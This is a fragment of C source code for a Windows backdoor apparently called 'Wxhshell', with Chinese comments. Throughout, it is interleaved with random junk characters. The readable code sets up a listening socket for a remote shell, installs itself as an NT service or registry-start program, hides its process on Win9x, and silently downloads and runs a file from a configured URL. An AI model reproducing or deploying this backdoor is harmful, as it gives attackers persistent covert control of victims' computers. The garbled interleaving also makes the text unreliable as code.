dt,3"J HMODULE hMod; &t}?2>: char procName[255]; \~DM unsigned long cbNeeded; gPXa>C 2U$"=:Cf if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); j,-C{ K /iQ(3F CloseHandle(hProcess); m
VxO$A, ZFn(x*L if(strstr(procName,"services")) return 1; // 以服务启动 k$7Z^~?Fz T0QvnIaP return 0; // 注册表启动 PlxIfL } ~(X(& Af-UScD%G // 主模块 ;)hw%Z]Jj$ int StartWxhshell(LPSTR lpCmdLine) uh3)0.nR { xBM>u,0.F SOCKET wsl; 4_=Ja2v8;` BOOL val=TRUE; nWYCh7 int port=0; %JL];
4' struct sockaddr_in door; KtN&,C )lJ f@ `*>" if(wscfg.ws_autoins) Install(); U~f4e7x*O i!H!;z# port=atoi(lpCmdLine); [0@`wZ @!%n$>p/V if(port<=0) port=wscfg.ws_port; !DXNo(:r +}kgQ^ WSADATA data; k2^ a$k} if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; j;nb?; [xlIG}e9 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; a\5FAkI setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); {E_{JB~` door.sin_family = AF_INET; 2KJ1V+g@a6 door.sin_addr.s_addr = inet_addr("127.0.0.1"); `N87h" door.sin_port = htons(port); &X>7n~@0 5f7zk if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { a:Q[gF8> closesocket(wsl); Z|m`7xeCy return 1; 5Jk<xWKj } Wch~Yb CXaWgxlK:a if(listen(wsl,2) == INVALID_SOCKET) { 9U_ks[Qa closesocket(wsl); %&blJ6b return 1; eEw.'B } Mt>oI SN&d Wxhshell(wsl); dJuD|9R WSACleanup(); kI\tqNJ i J./d!an return 0; ~}9PuYaD@ MXp3g@Cz } }F=^O[
fb]S-z ( // 以NT服务方式启动 :7.Me;RA VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) a:rX9-** { %5'6Tj DWORD status = 0; Fwg^(;bL DWORD specificError = 0xfffffff; t'qL[r%? q0xjA serviceStatus.dwServiceType = SERVICE_WIN32; &%=D \YzG serviceStatus.dwCurrentState = SERVICE_START_PENDING; x_w~G]! / serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 0BU=)Swku serviceStatus.dwWin32ExitCode = 0; ja=w5 serviceStatus.dwServiceSpecificExitCode = 0; :z"!kzdJ serviceStatus.dwCheckPoint = 0; #?O& serviceStatus.dwWaitHint = 0; #J\rv' *|:Q%xr- hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 7L(eh7 if (hServiceStatusHandle==0) return; J
m{ Ve 3 ; status = GetLastError(); n(ir[w#,]" if (status!=NO_ERROR) EMvHFu
{ ,XKCz ]8V serviceStatus.dwCurrentState = SERVICE_STOPPED; HTjkR*E serviceStatus.dwCheckPoint = 0; B|Wk?w.{r\ serviceStatus.dwWaitHint = 0; : 3ZYJW1 serviceStatus.dwWin32ExitCode = status; b'p4wE> serviceStatus.dwServiceSpecificExitCode = specificError; DT(d@upH SetServiceStatus(hServiceStatusHandle, &serviceStatus); " {dek return; #CUzuk& } o+ O}Te [:;# ]? serviceStatus.dwCurrentState = SERVICE_RUNNING; C"uahP[Y serviceStatus.dwCheckPoint = 0; ?;ukvD serviceStatus.dwWaitHint = 0; -.I4-6~ if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); h) (*q+a } !kuX,*}q /8yn vhF# // 处理NT服务事件,比如:启动、停止 (nSml,gU VOID WINAPI NTServiceHandler(DWORD fdwControl) 0JyVNuHn { HM[klH]s= switch(fdwControl) ]1`g^Z@ 0 { "9y(
} case SERVICE_CONTROL_STOP: </zXA$m serviceStatus.dwWin32ExitCode = 0; Yg|lq9gD serviceStatus.dwCurrentState = SERVICE_STOPPED; lTRl"`@S serviceStatus.dwCheckPoint = 0; jQs>`P-CM serviceStatus.dwWaitHint = 0; (#\pQ51 { TV59(bG.2 SetServiceStatus(hServiceStatusHandle, &serviceStatus); }%!tT\8 } ^V*-1r1 return; 0?Q_@Y case SERVICE_CONTROL_PAUSE: "?}uQ5f serviceStatus.dwCurrentState = SERVICE_PAUSED; _
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U7W break; kQ>^->w case SERVICE_CONTROL_CONTINUE: AC%JC+ serviceStatus.dwCurrentState = SERVICE_RUNNING; MHj,<|8Q break; |pZUlQbb case SERVICE_CONTROL_INTERROGATE: Td\o9 break; O'*@ Ytn }; afEF]i SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1`bl&}6l|E } |Bo .4lX _s.;eHp, // 标准应用程序主函数 \[:/CxP int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) m}j:nk { !vD{Df> I~*
? d // 获取操作系统版本 (<*e OsIsNt=GetOsVer(); El2e~l9 GetModuleFileName(NULL,ExeFile,MAX_PATH); BHFY%6J! }CGSEr4'w~ // 从命令行安装 "hz\Z0zg2 if(strpbrk(lpCmdLine,"iI")) Install(); _D7 ]-3uC! m#e3%150{ // 下载执行文件 ^]C&tG0 ! if(wscfg.ws_downexe) { ]88];?KS} if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !c#]?b% WinExec(wscfg.ws_filenam,SW_HIDE); xJ8%<RR!t } X|LxV] ;QCrHqRT` if(!OsIsNt) { H6TD@kL9Wr // 如果时win9x,隐藏进程并且设置为注册表启动 v4/-b4ET HideProc(); ]bdFr/!'S+ StartWxhshell(lpCmdLine); "`Ge~N[$A } /'.=sH else Rf-[svA if(StartFromService()) .4y>QN#VL // 以服务方式启动 4-GXmC StartServiceCtrlDispatcher(DispatchTable); "Dcs])7Q else e$)300 o // 普通方式启动 6X2PYJJZ StartWxhshell(lpCmdLine); 2.e
vx Y5q3T`xE return 0; SGc8^%-` }
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